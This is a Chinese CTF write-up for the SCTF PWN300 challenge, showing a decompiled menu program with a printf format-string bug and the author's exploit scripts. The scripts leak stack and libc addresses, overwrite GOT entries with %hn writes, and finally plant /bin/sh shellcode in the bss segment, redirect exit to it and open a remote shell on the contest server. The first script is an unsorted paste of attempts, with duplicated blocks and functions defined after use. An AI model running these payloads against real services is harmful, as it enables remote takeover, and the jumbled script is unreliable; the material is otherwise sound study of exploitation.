这题同样也不难,尤其是在做了PWN200之后,很容易便能想清楚这题可以怎么做,唯一的区别就是PWN200是栈溢出,这题是格式化字符串漏洞。
IDA反编译的程序如下(我改了几个函数名方便看):
int __cdecl show_hint()
{
puts("----------------------");
puts("1:Play a game");
puts("2:Leave a message");
puts("3:Print your message");
puts("4:Exit");
return puts("----------------------");
}
int __cdecl leave_message()
{
puts("input your message");
memset(src, 0, 0x400u);
return read_str(src, 1024);
}
int __cdecl show_message()
{
int result; // eax@1
char dest; // [sp+1Ch] [bp-40Ch]@1
int v2; // [sp+41Ch] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
strcpy(&dest, src);
printf("Your message is:");
printf(src);
result = *MK_FP(__GS__, 20) ^ v2;
if ( *MK_FP(__GS__, 20) != v2 )
__stack_chk_fail();
return result;
}
void __cdecl guess_number()
{
unsigned int v0; // eax@1
int v1; // [sp+18h] [bp-10h]@2
int v2; // [sp+1Ch] [bp-Ch]@1
v0 = time(0);
srand(v0);
v2 = rand() % 10;
puts("Test your RP....");
do
{
do
{
printf("Guess a number(0-10):");
__isoc99_read_str("%d", &v1);
}
while ( v1 < 0 );
}
while ( v1 > 10 );
if ( v2 == v1 )
puts("You win");
else
puts("You lost");
exit(0);
}
void __cdecl main()
{
signed int v0; // [sp+1Fh] [bp-1h]@2
setvbuf(stdout, 0, 2, 0);
puts("Welcome to SCTF! Good luck & Have fun~");
while ( 1 )
{
while ( 1 )
{
show_hint();
puts("input your choice:");
read(&v0, 2);
if ( (char)v0 != 50 )
break;
leave_message();
puts(&byte_8048AEE);
}
if ( (char)v0 > 50 )
{
if ( (char)v0 == 51 )
{
show_message();
puts(&byte_8048AEE);
}
else
{
if ( (char)v0 == 52 )
exit(0);
}
}
else
{
if ( (char)v0 == 49 )
guess_number();
}
}
}
很明显我们可以发现,guess_number是没有用的,leave_message和show_message才是我们需要注意的重点,show_message中是直接调用printf(src)进行的输出,而src是我们输入的字符串,很显然,这里是再明显不过了的格式化字符串溢出漏洞了,我们需要想的只是溢出之后怎么拿到shell。
毫无疑问,我们这里完全可以仿照PWN200的方法,先输出libc中某个函数的真实地址,然后算出execve的地址,而调用execve所需的字符串/bin/sh我们可以直接通过栈传递进去,不用写到GOT表那里了,因为这一次通过格式化字符串漏洞我们是知道栈地址的。
然后这题比较蛋疼的是,他输出既有用puts,也有用printf,然后我当时为了偷懒,就想用puts来输出地址,然后不知道为什么总是错,后来换用printf来输出就好了,就为了这个问题,当时硬生生熬到凌晨两三点人都快不行了才搞出来。
然后,后来还了解到,栈中是有libc的加载地址的,于是乎,可以直接就在栈中找就好了,方便点。
下面还是贴下我比赛时的程序,因为当时实在不知道错哪了,还在本地把那个程序跑起来了进行本地实验,然后代码现在确实有点分不太清楚哪些是最终通过的代码部分了,因为当时一做出来就去睡了,再没看了,所以先全部贴出来吧,要是将来啥时候有闲情,再来整理下吧:
#!/usr/bin/env python
#encoding:utf-8
s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%277$08xn')
s.recv(4096)
s.send('3n')
s.recv(4096)
import socket
import binascii
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(('218.2.197.248', 10002))
s.connect(('10.211.55.10', 8888))
s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
ret += s.recv(4096)
pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)
# binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 64 + 240)[2:])[::-1])
first = calc(ebp - 0x30 + 4)
# second = fill(0x30, 'e0840408''9f880408''18910408')
second = fill(0x80, 'e0840408''70850408''04910408')
if first.find('x00') != -1 or second.find('x00') != -1:
raise RuntimeError()
s.send('2n')
s.recv(4096)
s.send(first + second + 'a' * (240 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
print hex(ebp)
ret = s.recv(4096)
while ret.find('a' * 5) == -1:
ret += s.recv(4096)
pos = ret.find('a' * 5) + 5
# puts_addr = int(binascii.hexlify(ret[pos:pos + 4][::-1]), 16)
puts_addr = int(binascii.hexlify(ret[:4][::-1]), 16)
puts_pos = binascii.hexlify(binascii.unhexlify(hex(puts_addr)[2:])[::-1])
execve_addr = 0x000B8240 - 0xde3a0 + puts_addr
execve_pos = binascii.hexlify(binascii.unhexlify(hex(execve_addr)[2:])[::-1])
execve_pos = '203becf7'
import socket
import binascii
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 10002))
# s.connect(('10.211.55.10', 8888))
s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
ret += s.recv(4096)
pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)
# bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 0x60 + 300)[2:])[::-1])
bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 + 0x14 + 8)[2:])[::-1])
first = calc(ebp - 0x30 + 4)
# second = fill(0x60, 'e0840408''9f880408' + bin_sh_pos + '2f62696e2f736800')
# second = fill(0x60, execve_pos +'9f880408' + bin_sh_pos)
second = fill(0x80, 'a0840408' + '70850408' + bin_sh_pos + '04910408' + '00' * 8 + '3d3d2538733d3d2d')
s.send('2n')
s.recv(4096)
s.send(first + second + 'a' * (400 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
ret += s.recv(4096)
pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)
# bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 0x60 + 300)[2:])[::-1])
bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 + 0x14 + 8)[2:])[::-1])
first = calc(ebp - 0x30 + 4)
# second = fill(0x60, 'e0840408''9f880408' + bin_sh_pos + '2f62696e2f736800')
# second = fill(0x60, execve_pos +'9f880408' + bin_sh_pos)
second = fill(0x80, 'e0840408' + execve_pos + bin_sh_pos + bin_sh_pos + '00' * 8 + '2f62696e2f736800')
s.send('2n')
s.recv(4096)
s.send(first + second + 'a' * (400 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
def calc(addr):
payload = ''
for pos in xrange(addr, addr + 32):
payload += chr(int(hex(pos & 0xff)[2:4], 16))
payload += chr(int(hex(pos & 0xff00)[2:4], 16))
payload += chr(int(hex(pos & 0xff0000)[2:4], 16))
payload += chr(int(hex(pos & 0xff000000)[2:4], 16))
return payload
def fill(last, aim):
payload = ''
num = 7
zero = 265
for i in xrange(0, len(aim), 2):
now = int(aim[i:i + 2], 16)
if now != last:
if now < last:
now += 0x100
payload += '%' + str(zero) + '$' + str(now - last) + 'x'
last = now & 0xff
payload += '%' + str(num) + '$hn'
num += 1
return payload
最后还是想说,这题真的是好蛋疼,通过格式化字符串溢出漏洞要改这么多个值,想想就觉得残暴……
重新整理了下这题,然后被人提醒bss段可写可执行,然后我就醉了,合着这题libc根本就用不到……
这里最后需要随便选个函数作为shellcode的触发,我选的exit,新代码如下:
#!/usr/bin/env python
#encoding:utf-8
import zio
from time import sleep
def NOPS(n):
return 'x90' * n
def LEFT_PAD(s, n):
assert len(s) <= n
return NOPS(n - len(s)) + s
def RIGHT_PAD(s, n):
assert len(s) <= n
return s + NOPS(n - len(s))
def PREPARE_FORMAT(payload, addr, count=4):
if count == 0:
return payload
payload += zio.l32(addr)
return PREPARE_FORMAT(payload, addr + 1, count - 1)
def FILL_FORMAT(payload, last, addr_pos, value, count=4):
if count == 0:
return payload, last
byte_value = value & 0xff
if byte_value != last:
if byte_value < last:
byte_value += 0x100
payload += '%%1$%dc' % (byte_value - last)
payload += '%%%d$hhn' % addr_pos
return FILL_FORMAT(payload, byte_value & 0xff, addr_pos + 1, value >> 8, count - 1)
DELAY = 0.1
JMP06 = 'xebx06'
SHELLCODE = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
def RAW_WITH_DELAY(s):
sleep(DELAY)
return str(s)
def NONE_WITH_DELAY(s):
sleep(DELAY)
return ''
TARGET = ('218.2.197.235', 10102)
SHELLCODE_ADDR = 0x08049180
EXIT_GOT = 0x8049120
# local
# TARGET = './pwn300'
io = zio.zio(TARGET, print_write=NONE_WITH_DELAY, print_read=False)
payload = ''
payload = PREPARE_FORMAT(payload, EXIT_GOT)
last = len(payload)
payload, last = FILL_FORMAT(payload, last, 7, SHELLCODE_ADDR)
# change exit got to shellcode addr
io.writeline('2')
io.writeline(payload)
io.writeline('3')
# call exit to trigger shellcode
io.writeline('2')
io.writeline(SHELLCODE)
io.writeline('4')
io.interact()